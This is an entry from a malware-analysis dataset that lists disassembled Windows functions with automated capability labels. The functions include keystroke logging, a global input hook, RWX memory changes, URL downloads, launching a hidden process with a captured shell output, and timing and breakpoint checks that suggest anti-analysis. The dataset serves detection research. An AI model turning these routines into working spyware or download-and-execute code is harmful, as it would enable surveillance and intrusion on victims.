joyce8/EMBER2024-capa huggingface dataset:
Function at 0x495d2c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x495d90
push dword fs:[edx]
mov dword fs:[edx], esp
push 6
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004049cc
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00409e08
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x495d97
lea eax, [ebp - 0xc]
call fcn.0040474c
ret

Function at 0x495e3c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffec
mov esi, edx
lea edi, [esp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, dword [esp + 8]
test ebx, ebx
je 0x495e98
push esp
push 0x40
push 6
push ebx
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x495e67
call fcn.0040fc70
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
mov ecx, 6
call fcn.00402d08
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
push 6
mov eax, dword [esp + 0x14]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x495e98
call fcn.0040fc70
add esp, 0x14
pop edi
pop esi
pop ebx
ret

Function at 0x49e8c8
Capabilities:
Set global application hook

Disassembly:
mov eax, dword [0x526ed8]
cmp dword [eax], 2
je 0x49e8e6
mov ecx, 0x304
mov edx, 0x49e918
mov eax, 0x49e96c
call fcn.004046a8
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
push 0x49e868
push 3
call sub.user32.dll_SetWindowsHookExW
mov dword [0x527fdc], eax
cmp dword [0x527fdc], 0
jne 0x49e90d
call fcn.0040fc70
ret

Function at 0x49ed90
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, dword [0x5267a0]
cmp byte [eax], 0
jne 0x49edbe
mov ecx, 0xad
mov edx, 0x49ee0c
mov eax, 0x49ee60
call fcn.004046a8
mov eax, ebx
call fcn.00404e68
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyW
shl eax, 0x10
test eax, eax
je 0x49edfd
push 0x200
lea edx, [ebp - 0x202]
push edx
push eax
call sub.user32.dll_GetKeyNameTextW
mov eax, ebx
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.00405014
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x49ee74
Capabilities:
Log keystrokes

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [0x5267a0]
cmp byte [eax], 0
jne 0x49ee95
mov ecx, 0xb9
mov edx, 0x49eeac
mov eax, 0x49ef00
call fcn.004046a8
push 2
movzx eax, bx
push eax
call sub.user32.dll_MapVirtualKeyW
pop ebx
ret
Function at 0x4a9a48
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov esi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x4a9bcc
push dword fs:[eax]
mov dword fs:[eax], esp
mov al, byte [ebx + 0x276]
sub al, 2
jb 0x4a9bb1
cmp byte [ebx + 0x268], 0
je 0x4a9bb1
mov eax, dword [ebp - 4]
call fcn.004a1364
mov word [ebp - 6], ax
xor eax, eax
push ebp
push 0x4a9baa
push dword fs:[eax]
mov dword fs:[eax], esp
mov ax, word [ebp - 6]
sub ax, 8
je 0x4a9aee
dec ax
je 0x4a9ac4
sub ax, 0x12
jne 0x4a9b08
call fcn.0040414c
jmp 0x4a9bb1
cmp byte [ebx + 0x269], 0
je 0x4a9b90
mov eax, ebx
call fcn.0045a1e4
test al, al
je 0x4a9b90
xor edx, edx
mov eax, ebx
call fcn.0045a208
jmp 0x4a9b90
mov eax, dword [esi]
call fcn.004050bc
mov edx, eax
mov eax, esi
mov ecx, 1
call fcn.004052a8
jmp 0x4a9b90
cmp byte [ebx + 0x269], 0
je 0x4a9b25
mov eax, ebx
call fcn.0045a1e4
test al, al
jne 0x4a9b25
mov dl, 1
mov eax, ebx
call fcn.0045a208
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [ebp + 8]
sub eax, dword [edx]
cmp eax, 0x4e2
jb 0x4a9b3d
mov eax, esi
call fcn.00404e68
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [ebp + 8]
mov dword [edx], eax
push 0
push 1
lea eax, [ebp - 0x10]
mov dx, word [ebp - 6]
call fcn.00404f80
mov ecx, dword [ebp - 0x10]
mov edx, dword [esi]
lea eax, [ebp - 0xc]
call fcn.00405128
mov ecx, dword [ebp - 0xc]
mov edx, edi
mov eax, ebx
call fcn.004a9878
test al, al
je 0x4a9b90
lea eax, [ebp - 0x14]
mov dx, word [ebp - 6]
call fcn.00404f80
mov edx, dword [ebp - 0x14]
mov eax, esi
call fcn.004050c8
mov word [ebp - 6], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a9bb1
mov eax, dword [ebp - 4]
mov dx, word [ebp - 6]
call fcn.004a1398
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a9bd3
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00404e80
ret
Function at 0x4c6308
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x4c6310
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x4c6502
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x4c6518
mov eax, esi
call fcn.004c4194
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.004047a0
lea ecx, [ebp - 0x10]
mov edx, 0x4c652c
mov eax, esi
call fcn.004c4194
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.004047a0
lea ecx, [ebp - 0x14]
mov edx, 0x4c6544
mov eax, esi
call fcn.004c4194
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.004047a0
lea ecx, [ebp - 0x18]
mov edx, 0x4c6560
mov eax, esi
call fcn.004c4194
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.004047a0
lea ecx, [ebp - 0x1c]
mov edx, 0x4c657c
mov eax, esi
call fcn.004c4194
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.004047a0
lea ecx, [ebp - 0x24]
mov edx, 0x4c6594
mov eax, esi
call fcn.004c4194
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.004096d8
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.00409e08
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x4c65ac
mov eax, esi
call fcn.004c4194
mov eax, dword [ebp - 0x28]
call fcn.004b16b0
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x4c65bc
mov eax, esi
call fcn.004c4194
mov eax, dword [ebp - 0x2c]
call fcn.004b16b0
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x4c65d4
mov eax, esi
call fcn.004c4194
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.00409e08
inc eax
je 0x4c64a5
lea ecx, [ebp - 0x34]
mov edx, 0x4c65d4
mov eax, esi
call fcn.004c4194
mov eax, dword [ebp - 0x34]
call fcn.00409dcc
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.0040ba54
fstp qword [ebp - 0x3c]
wait
call fcn.0040be74
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x4c64c0
lea ecx, [ebp - 0x40]
mov edx, 0x4c65d4
mov eax, esi
call fcn.004c4194
mov eax, dword [ebp - 0x40]
call fcn.004b16b0
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x4c65e4
mov eax, esi
call fcn.004c4194
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.004047a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c6509
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00404770
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.00404770
ret
Function at 0x4cd294
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x4cd2ee
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.004cd284
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.004b0174
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.004afd74
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cd2f5
lea eax, [ebp - 4]
call fcn.0040474c
ret

Function at 0x4d3578
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4d35a6
mov eax, ebx
call fcn.004d402c
cmp dword [ebx + 0x40], 0
je 0x4d359f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4d3617
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4d3609
cmp dword [ebx + 8], 0
je 0x4d35c8
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4d35da
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4d3609
cmp dword [ebx + 8], 0
je 0x4d35bb
cmp eax, 3
je 0x4d35ed
dec eax
jne 0x4d35bb
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4d35bb
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4d35bb
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4d3635
cmp dword [ebx + 0x14], 0xcc
je 0x4d3635
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004d3640
pop ebx
ret

Function at 0x4e6430
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4e6481
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4e6468
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4e6458
jmp 0x4e6481
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4e6469
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4f4b0c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
mov esi, eax
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
mov eax, dword [0x526bfc]
mov eax, dword [eax]
call fcn.00485290
call sub.kernel32.dll_GetTickCount_1
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
push edx
push eax
mov eax, esi
cdq
cmp edx, dword [esp + 4]
jne 0x4f4b4d
cmp eax, dword [esp]
pop edx
pop eax
ja 0x4f4b17
pop esi
pop ebx
ret
pop edx
pop eax
jg 0x4f4b17
pop esi
pop ebx
ret
Function at 0x4f4b54
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.0040546c
lea eax, [ebp - 8]
call fcn.0040546c
xor eax, eax
push ebp
push 0x4f4be2
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4f4bbb
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004050ac
push eax
mov eax, dword [ebp - 4]
call fcn.004050ac
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileW
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4f4bc7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f4be9
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404e80
ret
Function at 0x4f65fc
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff84
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x7c], ebx
mov ebx, ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404c0c
xor eax, eax
push ebp
push 0x4f67d1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x18], 0xffffffff
xor eax, eax
mov dword [ebp - 0x1c], eax
push 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_CreatePipe
test eax, eax
je 0x4f67ab
mov eax, 0x7d1
call fcn.0040922c
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x64]
xor ecx, ecx
mov edx, 0x44
call fcn.004031e4
mov dword [ebp - 0x64], 0x44
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 0x101
mov word [ebp - 0x34], 0
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0xe0]
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x64]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4f677f
mov eax, dword [0x526670]
xor edx, edx
mov dword [eax], edx
push 0x64
mov eax, dword [ebp - 0x74]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov esi, eax
mov eax, dword [0x526bfc]
mov eax, dword [eax]
call fcn.00485290
mov eax, dword [0x526670]
cmp dword [eax], 5
jg 0x4f67ab
cmp esi, 0x102
je 0x4f66d4
mov eax, dword [0x526670]
xor edx, edx
mov dword [eax], edx
xor eax, eax
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0x7d0
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov byte [eax + edx], 0
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.user32.dll_OemToCharA
lea edx, [ebp - 0x78]
mov eax, ebx
call fcn.00464f1c
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
mov edx, dword [ebp - 0x10]
call fcn.00404954
mov edx, dword [ebp - 0x7c]
pop eax
call fcn.00404a24
mov edx, dword [ebp - 0x78]
mov eax, ebx
call fcn.00464f4c
mov eax, dword [0x526670]
cmp dword [eax], 5
jg 0x4f67ab
cmp dword [ebp - 0x14], 0x7d0
jae 0x4f670c
mov eax, dword [ebp - 0x10]
call fcn.00402b18
mov eax, dword [ebp - 0x74]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f67d8
lea eax, [ebp - 0x7c]
call fcn.0040474c
lea eax, [ebp - 0x78]
call fcn.0040474c
lea eax, [ebp - 4]
call fcn.0040474c
ret
Function at 0x4f67e0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
mov esi, edx
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
mov eax, dword [0x526bfc]
mov eax, dword [eax]
call fcn.00485290
call sub.kernel32.dll_GetTickCount_1
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
push edx
push eax
mov eax, esi
cdq
cmp edx, dword [esp + 4]
jne 0x4f6821
cmp eax, dword [esp]
pop edx
pop eax
ja 0x4f67eb
pop esi
pop ebx
ret
pop edx
pop eax
jg 0x4f67eb
pop esi
pop ebx
ret

Function at 0x4f6828
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404c0c
mov eax, dword [ebp - 8]
call fcn.00404c0c
xor eax, eax
push ebp
push 0x4f68b6
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4f688f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 4]
call fcn.00404c1c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4f689b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f68bd
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404770
ret

Function at 0x4f6ab4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404c0c
xor eax, eax
push ebp
push 0x4f6b89
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x10]
mov eax, dword [0x526dfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x33c]
call fcn.004a8064
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov ecx, 0x4f6b98
call fcn.00405128
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 4]
mov edx, 0x4f6bbc
call fcn.00404a68
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.00405030
push 0
lea edx, [ebp - 0x18]
mov eax, dword [0x526dfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x33c]
call fcn.004a8064
mov eax, dword [ebp - 0x18]
call fcn.004050ac
push eax
mov eax, dword [ebp - 0xc]
call fcn.004050ac
push eax
mov eax, dword [ebp - 8]
call fcn.004050ac
push eax
push 0x4f6bcc
push 0
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f6b90
lea eax, [ebp - 0x18]
call fcn.00404e68
lea eax, [ebp - 0x14]
call fcn.0040474c
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404e80
lea eax, [ebp - 4]
call fcn.0040474c
ret
Function at 0x4f6bd8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404c0c
xor eax, eax
push ebp
push 0x4f6cad
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x10]
mov eax, dword [0x526dfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x33c]
call fcn.004a8064
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov ecx, 0x4f6cbc
call fcn.00405128
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 4]
mov edx, 0x4f6ce0
call fcn.00404a68
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.00405030
push 0
lea edx, [ebp - 0x18]
mov eax, dword [0x526dfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x33c]
call fcn.004a8064
mov eax, dword [ebp - 0x18]
call fcn.004050ac
push eax
mov eax, dword [ebp - 0xc]
call fcn.004050ac
push eax
mov eax, dword [ebp - 8]
call fcn.004050ac
push eax
push 0x4f6cf0
push 0
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f6cb4
lea eax, [ebp - 0x18]
call fcn.00404e68
lea eax, [ebp - 0x14]
call fcn.0040474c
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404e80
lea eax, [ebp - 4]
call fcn.0040474c
ret

Function at 0x4f6ebc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404c0c
mov eax, dword [ebp - 8]
call fcn.00404c0c
mov eax, dword [ebp + 0xc]
call fcn.00404c0c
mov eax, dword [ebp + 8]
call fcn.00404c0c
xor eax, eax
push ebp
push 0x4f6fe2
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x14]
mov eax, dword [0x526dfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x33c]
call fcn.004a8064
lea eax, [ebp - 0x14]
mov edx, 0x4f6ff4
call fcn.004050c8
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.004049e4
push 0x4f7018
push dword [ebp - 4]
push 0x4f7030
push dword [ebp - 8]
push 0x4f7048
push dword [ebp + 0xc]
push 0x4f7048
push dword [ebp + 8]
lea eax, [ebp - 0x10]
mov edx, 8
call fcn.00404adc
mov edx, 0x64
mov eax, ebx
call fcn.004f67e0
push 0
lea edx, [ebp - 0x18]
mov eax, dword [0x526dfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x33c]
call fcn.004a8064
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404c1c
push eax
push 0x4f704c
push 0
call sub.shell32.dll_ShellExecuteA
mov edx, 0x64
mov eax, ebx
call fcn.004f67e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f6fe9
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00404e80
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404770
lea eax, [ebp + 8]
mov edx, 2
call fcn.00404770
ret
Function at 0x4f7054
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404c0c
mov eax, dword [ebp - 8]
call fcn.00404c0c
mov eax, dword [ebp + 8]
call fcn.00404c0c
xor eax, eax
push ebp
push 0x4f7165
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x14]
mov eax, dword [0x526dfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x33c]
call fcn.004a8064
lea eax, [ebp - 0x14]
mov edx, 0x4f7178
call fcn.004050c8
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.004049e4
push 0x4f7190
push dword [ebp - 4]
push 0x4f719c
push dword [ebp - 8]
push 0x4f71b0
push dword [ebp + 8]
lea eax, [ebp - 0x10]
mov edx, 6
call fcn.00404adc
mov edx, 0x64
mov eax, ebx
call fcn.004f67e0
push 0
lea edx, [ebp - 0x18]
mov eax, dword [0x526dfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x33c]
call fcn.004a8064
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404c1c
push eax
push 0x4f71b4
push 0
call sub.shell32.dll_ShellExecuteA
mov edx, 0x3e8
mov eax, ebx
call fcn.004f67e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f716c
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00404e80
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404770
lea eax, [ebp + 8]
call fcn.0040474c
ret

Function at 0x4f71bc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404c0c
mov eax, dword [ebp - 8]
call fcn.00404c0c
xor eax, eax
push ebp
push 0x4f72b5
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x14]
mov eax, dword [0x526dfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x33c]
call fcn.004a8064
lea eax, [ebp - 0x14]
mov edx, 0x4f72c8
call fcn.004050c8
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call fcn.004049e4
push 0x4f72e0
push dword [ebp - 4]
push 0x4f72ec
push dword [ebp - 8]
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404adc
mov edx, 0x64
mov eax, ebx
call fcn.004f67e0
push 0
lea edx, [ebp - 0x18]
mov eax, dword [0x526dfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x33c]
call fcn.004a8064
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404c1c
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404c1c
push eax
push 0x4f72fc
push 0
call sub.shell32.dll_ShellExecuteA
mov edx, 0x64
mov eax, ebx
call fcn.004f67e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f72bc
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00404e80
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404770
ret